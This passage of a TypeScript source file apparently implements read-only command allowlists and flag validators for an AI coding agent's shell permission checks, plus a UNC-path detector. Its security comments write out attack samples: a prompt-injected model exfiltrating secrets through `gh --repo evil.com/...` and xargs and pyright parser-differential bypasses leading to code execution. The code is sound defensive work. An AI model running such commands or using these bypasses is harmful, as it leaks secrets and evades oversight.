'--remotes': 'none',
'-v': 'none',
'-vv': 'none',
'--verbose': 'none',
// Display options
'--color': 'none',
'--no-color': 'none',
'--column': 'none',
'--no-column': 'none',
// SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N
// (attached form, safe). The DETACHED form `--abbrev N` is the bug:
// git uses PARSE_OPT_OPTARG (optional-attached only) β detached N becomes
// a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags
// with 'number' consumes N, but the CALLBACK below catches it: --abbrev
// is NOT in callback's flagsWithArgs (removed), so callback sees N as a
// positional without list flag β dangerous. Two-layer defense: validate-
// Flags accepts both forms, callback blocks detached.
'--abbrev': 'number',
'--no-abbrev': 'none',
// Filtering - these take commit/ref arguments
'--contains': 'string',
'--no-contains': 'string',
'--merged': 'none', // Optional commit argument - handled in callback
'--no-merged': 'none', // Optional commit argument - handled in callback
'--points-at': 'string',
// Sorting
'--sort': 'string',
// Note: --format is intentionally excluded as it could pose security risks
// Show current
'--show-current': 'none',
'-i': 'none',
'--ignore-case': 'none',
},
// Block branch creation via positional arguments (e.g., "git branch newbranch")
// Flag validation is handled by safeFlags above
// args is tokens after "git branch"
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Block branch creation: "git branch <name>" or "git branch <name> <start-point>"
// Only safe uses are: "git branch" (list), "git branch -flags" (list with options),
// or "git branch --contains/--merged/etc <ref>" (filtering)
// Flags that require an argument
const flagsWithArgs = new Set([
'--contains',
'--no-contains',
'--points-at',
'--sort',
// --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG)
])
// Flags with optional arguments (don't require, but can take one)
const flagsWithOptionalArgs = new Set(['--merged', '--no-merged'])
let i = 0
let lastFlag = ''
let seenListFlag = false
let seenDashDash = false
while (i < args.length) {
const token = args[i]
if (!token) {
i++
continue
}
// `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`.
if (token === '--' && !seenDashDash) {
seenDashDash = true
lastFlag = ''
i++
continue
}
if (!seenDashDash && token.startsWith('-')) {
// Check for -l/--list including short-flag bundles (-li, -la, etc.)
if (token === '--list' || token === '-l') {
seenListFlag = true
} else if (
token[0] === '-' &&
token[1] !== '-' &&
token.length > 2 &&
!token.includes('=') &&
token.slice(1).includes('l')
) {
seenListFlag = true
}
if (token.includes('=')) {
lastFlag = token.split('=')[0] || ''
i++
} else if (flagsWithArgs.has(token)) {
lastFlag = token
i += 2
} else {
lastFlag = token
i++
}
} else {
// Non-flag argument (or post-`--` positional) - could be:
// 1. A branch name (dangerous - creates a branch)
// 2. A pattern after --list/-l (safe)
// 3. An optional argument after --merged/--no-merged (safe)
const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag)
if (!seenListFlag && !lastFlagHasOptionalArg) {
return true // Positional arg without --list or filtering flag = branch creation
}
i++
}
}
return false
},
},
}
// ---------------------------------------------------------------------------
// GH_READ_ONLY_COMMANDS β ant-only gh CLI commands (network-dependent)
// ---------------------------------------------------------------------------
// SECURITY: Shared callback for all gh commands to prevent network exfil.
// gh's repo argument accepts `[HOST/]OWNER/REPO` β when HOST is present
// (3 segments), gh connects to that host's API. A prompt-injected model can
// encode secrets as the OWNER segment and exfiltrate via DNS/HTTP:
// gh pr view 1 --repo evil.com/BASE32SECRET/x
// β GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1
// gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1`
//
// git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this
// callback provides the equivalent for gh. Rejects:
// - Any token with 2+ slashes (HOST/OWNER/REPO format β normal is OWNER/REPO)
// - Any token with `://` (URL)
// - Any token with `@` (SSH-style)
// This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING
// the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms).
function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean {
for (const token of args) {
if (!token) continue
// For flag tokens, extract the VALUE after `=` for inspection. Without this,
// `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped
// entirely, bypassing the HOST check. Cobra treats `--flag=val` identically
// to `--flag val`; we must inspect both forms.
let value = token
if (token.startsWith('-')) {
const eqIdx = token.indexOf('=')
if (eqIdx === -1) continue // flag without inline value, nothing to inspect
value = token.slice(eqIdx + 1)
if (!value) continue
}
// Skip values that are clearly not repo specs (no `/` at all, or pure numbers)
if (
!value.includes('/') &&
!value.includes('://') &&
!value.includes('@')
) {
continue
}
// URL schemes: https://, http://, git://, ssh://
if (value.includes('://')) {
return true
}
// SSH-style: git@host:owner/repo
if (value.includes('@')) {
return true
}
// 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash)
// Count slashes: 2+ slashes means 3+ segments
const slashCount = (value.match(/\//g) || []).length
if (slashCount >= 2) {
return true
}
}
return false
}
export const GH_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
// gh pr view is read-only β displays pull request details
'gh pr view': {
safeFlags: {
'--json': 'string', // JSON field selection
'--comments': 'none', // Show comments
'--repo': 'string', // Target repository (OWNER/REPO)
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr list is read-only β lists pull requests
'gh pr list': {
safeFlags: {
'--state': 'string', // open, closed, merged, all
'-s': 'string',
'--author': 'string',
'--assignee': 'string',
'--label': 'string',
'--limit': 'number',
'-L': 'number',
'--base': 'string',
'--head': 'string',
'--search': 'string',
'--json': 'string',
'--draft': 'none',
'--app': 'string',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr diff is read-only β shows pull request diff
'gh pr diff': {
safeFlags: {
'--color': 'string',
'--name-only': 'none',
'--patch': 'none',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr checks is read-only β shows CI status checks
'gh pr checks': {
safeFlags: {
'--watch': 'none',
'--required': 'none',
'--fail-fast': 'none',
'--json': 'string',
'--interval': 'number',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh issue view is read-only β displays issue details
'gh issue view': {
safeFlags: {
'--json': 'string',
'--comments': 'none',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh issue list is read-only β lists issues
'gh issue list': {
safeFlags: {
'--state': 'string',
'-s': 'string',
'--assignee': 'string',
'--author': 'string',
'--label': 'string',
'--limit': 'number',
'-L': 'number',
'--milestone': 'string',
'--search': 'string',
'--json': 'string',
'--app': 'string',
'--repo': 'string',
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh repo view is read-only β displays repository details
// NOTE: gh repo view uses a positional argument, not --repo/-R flags
'gh repo view': {
safeFlags: {
'--json': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh run list is read-only β lists workflow runs
'gh run list': {
safeFlags: {
'--branch': 'string', // Filter by branch
'-b': 'string',
'--status': 'string', // Filter by status
'-s': 'string',
'--workflow': 'string', // Filter by workflow
'-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web)
'--limit': 'number', // Max results
'-L': 'number',
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
'--event': 'string', // Filter by event type
'-e': 'string',
'--user': 'string', // Filter by user
'-u': 'string',
'--created': 'string', // Filter by creation date
'--commit': 'string', // Filter by commit SHA
'-c': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh run view is read-only β displays a workflow run's details
'gh run view': {
safeFlags: {
'--log': 'none', // Show full run log
'--log-failed': 'none', // Show log for failed steps only
'--exit-status': 'none', // Exit with run's status code
'--verbose': 'none', // Show job steps
'-v': 'none', // NOTE: -v is --verbose here, NOT --web
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
'--job': 'string', // View a specific job by ID
'-j': 'string',
'--attempt': 'number', // View a specific attempt
'-a': 'number',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh auth status is read-only β displays authentication state
// NOTE: --show-token/-t intentionally excluded (leaks secrets)
'gh auth status': {
safeFlags: {
'--active': 'none', // Display active account only
'-a': 'none',
'--hostname': 'string', // Check specific hostname
'-h': 'string',
'--json': 'string', // JSON field selection
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr status is read-only β shows your PRs
'gh pr status': {
safeFlags: {
'--conflict-status': 'none', // Display merge conflict status
'-c': 'none',
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh issue status is read-only β shows your issues
'gh issue status': {
safeFlags: {
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh release list is read-only β lists releases
'gh release list': {
safeFlags: {
'--exclude-drafts': 'none', // Exclude draft releases
'--exclude-pre-releases': 'none', // Exclude pre-releases
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--order': 'string', // Order: asc|desc
'-O': 'string',
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh release view is read-only β displays release details
// NOTE: --web/-w intentionally excluded (opens browser)
'gh release view': {
safeFlags: {
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh workflow list is read-only β lists workflow files
'gh workflow list': {
safeFlags: {
'--all': 'none', // Include disabled workflows
'-a': 'none',
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh workflow view is read-only β displays workflow summary
// NOTE: --web/-w intentionally excluded (opens browser)
'gh workflow view': {
safeFlags: {
'--ref': 'string', // Branch/tag with workflow version
'-r': 'string',
'--yaml': 'none', // View workflow yaml
'-y': 'none',
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh label list is read-only β lists labels
// NOTE: --web/-w intentionally excluded (opens browser)
'gh label list': {
safeFlags: {
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--order': 'string', // Order: asc|desc
'--search': 'string', // Search label names
'-S': 'string',
'--sort': 'string', // Sort: created|name
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh search repos is read-only β searches repositories
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search repos': {
safeFlags: {
'--archived': 'none', // Filter by archived state
'--created': 'string', // Filter by creation date
'--followers': 'string', // Filter by followers count
'--forks': 'string', // Filter by forks count
'--good-first-issues': 'string', // Filter by good first issues
'--help-wanted-issues': 'string', // Filter by help wanted issues
'--include-forks': 'string', // Include forks: false|true|only
'--json': 'string', // JSON field selection
'--language': 'string', // Filter by language
'--license': 'string', // Filter by license
'--limit': 'number', // Max results
'-L': 'number',
'--match': 'string', // Restrict to field: name|description|readme
'--number-topics': 'string', // Filter by number of topics
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--size': 'string', // Filter by size range
'--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated
'--stars': 'string', // Filter by stars
'--topic': 'string', // Filter by topic
'--updated': 'string', // Filter by update date
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search issues is read-only β searches issues
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search issues': {
safeFlags: {
'--app': 'string', // Filter by GitHub App author
'--assignee': 'string', // Filter by assignee
'--author': 'string', // Filter by author
'--closed': 'string', // Filter by closed date
'--commenter': 'string', // Filter by commenter
'--comments': 'string', // Filter by comment count
'--created': 'string', // Filter by creation date
'--include-prs': 'none', // Include PRs in results
'--interactions': 'string', // Filter by interactions count
'--involves': 'string', // Filter by involvement
'--json': 'string', // JSON field selection
'--label': 'string', // Filter by label
'--language': 'string', // Filter by language
'--limit': 'number', // Max results
'-L': 'number',
'--locked': 'none', // Filter locked conversations
'--match': 'string', // Restrict to field: title|body|comments
'--mentions': 'string', // Filter by user mentions
'--milestone': 'string', // Filter by milestone
'--no-assignee': 'none', // Filter missing assignee
'--no-label': 'none', // Filter missing label
'--no-milestone': 'none', // Filter missing milestone
'--no-project': 'none', // Filter missing project
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--project': 'string', // Filter by project
'--reactions': 'string', // Filter by reaction count
'--repo': 'string', // Filter by repository
'-R': 'string',
'--sort': 'string', // Sort field
'--state': 'string', // Filter: open|closed
'--team-mentions': 'string', // Filter by team mentions
'--updated': 'string', // Filter by update date
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search prs is read-only β searches pull requests
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search prs': {
safeFlags: {
'--app': 'string', // Filter by GitHub App author
'--assignee': 'string', // Filter by assignee
'--author': 'string', // Filter by author
'--base': 'string', // Filter by base branch
'-B': 'string',
'--checks': 'string', // Filter by check status
'--closed': 'string', // Filter by closed date
'--commenter': 'string', // Filter by commenter
'--comments': 'string', // Filter by comment count
'--created': 'string', // Filter by creation date
'--draft': 'none', // Filter draft PRs
'--head': 'string', // Filter by head branch
'-H': 'string',
'--interactions': 'string', // Filter by interactions count
'--involves': 'string', // Filter by involvement
'--json': 'string', // JSON field selection
'--label': 'string', // Filter by label
'--language': 'string', // Filter by language
'--limit': 'number', // Max results
'-L': 'number',
'--locked': 'none', // Filter locked conversations
'--match': 'string', // Restrict to field: title|body|comments
'--mentions': 'string', // Filter by user mentions
'--merged': 'none', // Filter merged PRs
'--merged-at': 'string', // Filter by merge date
'--milestone': 'string', // Filter by milestone
'--no-assignee': 'none', // Filter missing assignee
'--no-label': 'none', // Filter missing label
'--no-milestone': 'none', // Filter missing milestone
'--no-project': 'none', // Filter missing project
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--project': 'string', // Filter by project
'--reactions': 'string', // Filter by reaction count
'--repo': 'string', // Filter by repository
'-R': 'string',
'--review': 'string', // Filter by review status
'--review-requested': 'string', // Filter by review requested
'--reviewed-by': 'string', // Filter by reviewer
'--sort': 'string', // Sort field
'--state': 'string', // Filter: open|closed
'--team-mentions': 'string', // Filter by team mentions
'--updated': 'string', // Filter by update date
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search commits is read-only β searches commits
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search commits': {
safeFlags: {
'--author': 'string', // Filter by author
'--author-date': 'string', // Filter by authored date
'--author-email': 'string', // Filter by author email
'--author-name': 'string', // Filter by author name
'--committer': 'string', // Filter by committer
'--committer-date': 'string', // Filter by committed date
'--committer-email': 'string', // Filter by committer email
'--committer-name': 'string', // Filter by committer name
'--hash': 'string', // Filter by commit hash
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--merge': 'none', // Filter merge commits
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--parent': 'string', // Filter by parent hash
'--repo': 'string', // Filter by repository
'-R': 'string',
'--sort': 'string', // Sort: author-date|committer-date
'--tree': 'string', // Filter by tree hash
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search code is read-only β searches code
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search code': {
safeFlags: {
'--extension': 'string', // Filter by file extension
'--filename': 'string', // Filter by filename
'--json': 'string', // JSON field selection
'--language': 'string', // Filter by language
'--limit': 'number', // Max results
'-L': 'number',
'--match': 'string', // Restrict to: file|path
'--owner': 'string', // Filter by owner
'--repo': 'string', // Filter by repository
'-R': 'string',
'--size': 'string', // Filter by size range
},
},
}
// ---------------------------------------------------------------------------
// DOCKER_READ_ONLY_COMMANDS β docker inspect/logs read-only commands
// ---------------------------------------------------------------------------
export const DOCKER_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
{
'docker logs': {
safeFlags: {
'--follow': 'none',
'-f': 'none',
'--tail': 'string',
'-n': 'string',
'--timestamps': 'none',
'-t': 'none',
'--since': 'string',
'--until': 'string',
'--details': 'none',
},
},
'docker inspect': {
safeFlags: {
'--format': 'string',
'-f': 'string',
'--type': 'string',
'--size': 'none',
'-s': 'none',
},
},
}
// ---------------------------------------------------------------------------
// RIPGREP_READ_ONLY_COMMANDS β rg (ripgrep) read-only search
// ---------------------------------------------------------------------------
export const RIPGREP_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
{
rg: {
safeFlags: {
// Pattern flags
'-e': 'string', // Pattern to search for
'--regexp': 'string',
'-f': 'string', // Read patterns from file
// Common search options
'-i': 'none', // Case insensitive
'--ignore-case': 'none',
'-S': 'none', // Smart case
'--smart-case': 'none',
'-F': 'none', // Fixed strings
'--fixed-strings': 'none',
'-w': 'none', // Word regexp
'--word-regexp': 'none',
'-v': 'none', // Invert match
'--invert-match': 'none',
// Output options
'-c': 'none', // Count matches
'--count': 'none',
'-l': 'none', // Files with matches
'--files-with-matches': 'none',
'--files-without-match': 'none',
'-n': 'none', // Line number
'--line-number': 'none',
'-o': 'none', // Only matching
'--only-matching': 'none',
'-A': 'number', // After context
'--after-context': 'number',
'-B': 'number', // Before context
'--before-context': 'number',
'-C': 'number', // Context
'--context': 'number',
'-H': 'none', // With filename
'-h': 'none', // No filename
'--heading': 'none',
'--no-heading': 'none',
'-q': 'none', // Quiet
'--quiet': 'none',
'--column': 'none',
// File filtering
'-g': 'string', // Glob
'--glob': 'string',
'-t': 'string', // Type
'--type': 'string',
'-T': 'string', // Type not
'--type-not': 'string',
'--type-list': 'none',
'--hidden': 'none',
'--no-ignore': 'none',
'-u': 'none', // Unrestricted
// Common options
'-m': 'number', // Max count per file
'--max-count': 'number',
'-d': 'number', // Max depth
'--max-depth': 'number',
'-a': 'none', // Text (search binary files)
'--text': 'none',
'-z': 'none', // Search zip
'-L': 'none', // Follow symlinks
'--follow': 'none',
// Display options
'--color': 'string',
'--json': 'none',
'--stats': 'none',
// Help and version
'--help': 'none',
'--version': 'none',
'--debug': 'none',
// Special argument separator
'--': 'none',
},
},
}
// ---------------------------------------------------------------------------
// PYRIGHT_READ_ONLY_COMMANDS β pyright static type checker
// ---------------------------------------------------------------------------
export const PYRIGHT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
{
pyright: {
respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options
safeFlags: {
'--outputjson': 'none',
'--project': 'string',
'-p': 'string',
'--pythonversion': 'string',
'--pythonplatform': 'string',
'--typeshedpath': 'string',
'--venvpath': 'string',
'--level': 'string',
'--stats': 'none',
'--verbose': 'none',
'--version': 'none',
'--dependencies': 'none',
'--warnings': 'none',
},
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Check if --watch or -w appears as a standalone token (flag)
return args.some(t => t === '--watch' || t === '-w')
},
},
}
// ---------------------------------------------------------------------------
// EXTERNAL_READONLY_COMMANDS β cross-shell read-only commands
// Only commands that work identically in bash and PowerShell on Windows.
// Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS.
// ---------------------------------------------------------------------------
export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [
// Cross-platform external tools that work the same in bash and PowerShell on Windows
'docker ps',
'docker images',
] as const
// ---------------------------------------------------------------------------
// UNC path detection (shared across Bash and PowerShell)
// ---------------------------------------------------------------------------
/**
* Check if a path or command contains a UNC path that could trigger network
* requests (NTLM/Kerberos credential leakage, WebDAV attacks).
*
* This function detects:
* - Basic UNC paths: \\server\share, \\foo.com\file
* - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\
* - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share
* - Forward-slash variants: //server/share
*
* @param pathOrCommand The path or command string to check
* @returns true if the path/command contains potentially vulnerable UNC paths
*/
export function containsVulnerableUncPath(pathOrCommand: string): boolean {
// Only check on Windows platform
if (getPlatform() !== 'windows') {
return false
}
// 1. Check for general UNC paths with backslashes
// Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share
// Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars
// Trailing accepts both \ and / since Windows treats both as path separators
const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
if (backslashUncPattern.test(pathOrCommand)) {
return true
}
// 2. Check for forward-slash UNC paths
// Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share
// Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://)
// while catching // preceded by quotes, =, or any other non-colon character.
// Trailing accepts both / and \ since Windows treats both as path separators
const forwardSlashUncPattern =
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings
/(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
if (forwardSlashUncPattern.test(pathOrCommand)) {
return true
}
// 3. Check for mixed-separator UNC paths (forward slash + backslashes)
// On Windows/Cygwin, /\ is equivalent to // since both are path separators.
// In bash, /\\server becomes /\server after escape processing, which is a UNC path.
// Requires 2+ backslashes after / because a single backslash just escapes the next char
// (e.g., /\a β /a after bash processing, which is NOT a UNC path).
const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/
if (mixedSlashUncPattern.test(pathOrCommand)) {
return true
}
// 4. Check for mixed-separator UNC paths (backslashes + forward slash)
// \\/server in bash becomes \/server after escape processing, which is a UNC path
// on Windows since both \ and / are path separators.
const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/
if (reverseMixedSlashUncPattern.test(pathOrCommand)) {
return true
}
// 5. Check for WebDAV SSL/port patterns
// Examples: \\server@SSL@8443\path, \\server@8443@SSL\path
if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) {
return true
}
// 6. Check for DavWWWRoot marker (Windows WebDAV redirector)
// Example: \\server\DavWWWRoot\path
if (/DavWWWRoot/i.test(pathOrCommand)) {
return true
}
// 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth)
// Examples: \\192.168.1.1\share, \\10.0.0.1\path
if (
/^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) ||
/^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand)
) {
return true
}
// 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth)
// Examples: \\[2001:db8::1]\share, \\[::1]\path
if (
/^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) ||
/^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand)
) {
return true
}
return false
}
// ---------------------------------------------------------------------------
// Flag validation utilities
// ---------------------------------------------------------------------------
// Regex pattern to match valid flag names (letters, digits, underscores, hyphens)
export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/
/**
* Validates flag arguments based on their expected type
*/
export function validateFlagArgument(
value: string,
argType: FlagArgType,
): boolean {
switch (argType) {
case 'none':
return false // Should not have been called for 'none' type
case 'number':
return /^\d+$/.test(value)
case 'string':
return true // Any string including empty is valid
case 'char':
return value.length === 1
case '{}':
return value === '{}'
case 'EOF':
return value === 'EOF'
default:
return false
}
}
/**
* Validates the flags/arguments portion of a tokenized command against a config.
* This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing.
*
* @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST)
* @param startIndex - Where to start validating (after command tokens)
* @param config - The safe flags config
* @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric)
* @param options.rawCommand - For additionalCommandIsDangerousCallback
* @param options.xargsTargetCommands - If provided, enables xargs-style target command detection
* @returns true if all flags are valid, false otherwise
*/
export function validateFlags(
tokens: string[],
startIndex: number,
config: ExternalCommandConfig,
options?: {
commandName?: string
rawCommand?: string
xargsTargetCommands?: string[]
},
): boolean {
let i = startIndex
while (i < tokens.length) {
let token = tokens[i]
if (!token) {
i++
continue
}
// Special handling for xargs: once we find the target command, stop validating flags
if (
options?.xargsTargetCommands &&
options.commandName === 'xargs' &&
(!token.startsWith('-') || token === '--')
) {
if (token === '--' && i + 1 < tokens.length) {
i++
token = tokens[i]
}
if (token && options.xargsTargetCommands.includes(token)) {
break
}
return false
}
if (token === '--') {
// SECURITY: Only break if the tool respects POSIX `--` (default: true).
// Tools like pyright don't respect `--` β they treat it as a file path
// and continue processing subsequent tokens as flags. Breaking here
// would let `pyright -- --createstub os` auto-approve a file-write flag.
if (config.respectsDoubleDash !== false) {
i++
break // Everything after -- is arguments
}
// Tool doesn't respect --: treat as positional arg, keep validating
i++
continue
}
if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) {
// Handle --flag=value format
// SECURITY: Track whether the token CONTAINS `=` separately from
// whether the value is non-empty. `-E=` has `hasEquals=true` but
// `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at
// line ~1813 would fall through to "consume next token" β but GNU
// getopt for short options with mandatory arg sees `-E=` as `-E` with
// ATTACHED arg `=` (it doesn't strip `=` for short options). Parser
// differential: validator advances 2 tokens, GNU advances 1.
//
// Attack: `xargs -E= EOF echo foo` (zero permissions)
// Validator: inlineValue='' falsy β consumes EOF as -E arg β i+=2 β
// echo β SAFE_TARGET_COMMANDS_FOR_XARGS β break β AUTO-ALLOWED
// GNU xargs: -E attached arg=`=` β EOF is TARGET COMMAND β CODE EXEC
//
// Fix: when hasEquals is true, use inlineValue (even if empty) as the
// provided arg. validateFlagArgument('', 'EOF') β false β rejected.
// This is correct for all arg types: the user explicitly typed `=`,
// indicating they provided a value (empty). Don't consume next token.
const hasEquals = token.includes('=')
const [flag, ...valueParts] = token.split('=')
const inlineValue = valueParts.join('=')
if (!flag) {
return false
}
const flagArgType = config.safeFlags[flag]
if (!flagArgType) {
// Special case: git commands support -<number> as shorthand for -n <number>
if (options?.commandName === 'git' && flag.match(/^-\d+$/)) {
// This is equivalent to -n flag which is safe for git log/diff/show
i++
continue
}
// Handle flags with directly attached numeric arguments (e.g., -A20, -B10)
// Only apply this special handling to grep and rg commands
if (
(options?.commandName === 'grep' || options?.commandName === 'rg') &&
flag.startsWith('-') &&
!flag.startsWith('--') &&
flag.length > 2
) {
const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20'
const potentialValue = flag.substring(2) // e.g., '20' from '-A20'
if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) {
// This is a flag with attached numeric argument
const flagArgType = config.safeFlags[potentialFlag]
if (flagArgType === 'number' || flagArgType === 'string') {
// Validate the numeric value
if (validateFlagArgument(potentialValue, flagArgType)) {
i++
continue
} else {
return false // Invalid attached value
}
}
}
}
// Handle combined single-letter flags like -nr
// SECURITY: We must NOT allow any bundled flag that takes an argument.
// GNU getopt bundling semantics: when an arg-taking option appears LAST
// in a bundle with no trailing chars, the NEXT argv element is consumed
// as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as:
// -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id`
// Our naive handler previously only checked EXISTENCE in safeFlags (both
// `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token.
// This created a parser differential: our validator thought `echo` was
// the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS β break), but
// xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less.
//
// Fix: require ALL bundled flags to have arg type 'none'. If any bundled
// flag requires an argument (non-'none' type), reject the whole bundle.
// This is conservative β it blocks `-rI` (xargs) entirely, but that's
// the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`.
if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
for (let j = 1; j < flag.length; j++) {
const singleFlag = '-' + flag[j]
const flagType = config.safeFlags[singleFlag]
if (!flagType) {
return false // One of the combined flags is not safe
}
// SECURITY: Bundled flags must be no-arg type. An arg-taking flag
// in a bundle consumes the NEXT token in GNU getopt, which our
// handler doesn't model. Reject to avoid parser differential.
if (flagType !== 'none') {
return false // Arg-taking flag in a bundle β cannot safely validate
}
}
i++
continue
} else {
return false // Unknown flag
}
}
// Validate flag arguments
if (flagArgType === 'none') {
// SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it,
// `-FLAG=` with 'none' type would pass (inlineValue='' is falsy).
if (hasEquals) {
return false // Flag should not have a value
}
i++
} else {
let argValue: string
// SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must
// NOT consume next token β the user explicitly provided empty value.
if (hasEquals) {
argValue = inlineValue
i++
} else {
// Check if next token is the argument
if (
i + 1 >= tokens.length ||
(tokens[i + 1] &&
tokens[i + 1]!.startsWith('-') &&
tokens[i + 1]!.length > 1 &&
FLAG_PATTERN.test(tokens[i + 1]!))
) {
return false // Missing required argument
}
argValue = tokens[i + 1] || ''
i += 2
}
// Defense-in-depth: For string arguments, reject values that start with '-'
// This prevents type confusion attacks where a flag marked as 'string'
// but actually takes no arguments could be used to inject dangerous flags
// Exception: git's --sort flag can have values starting with '-' for reverse sorting
if (flagArgType === 'string' && argValue.startsWith('-')) {
// Special case: git's --sort flag allows - prefix for reverse sorting
if (
flag === '--sort' &&
options?.commandName === 'git' &&
argValue.match(/^-[a-zA-Z]/)
) {
// This looks like a reverse sort (e.g., -refname, -version:refname)
// Allow it if the rest looks like a valid sort key
} else {
return false
}
}
// Validate argument based on type
if (!validateFlagArgument(argValue, flagArgType)) {
return false
}
}
} else {
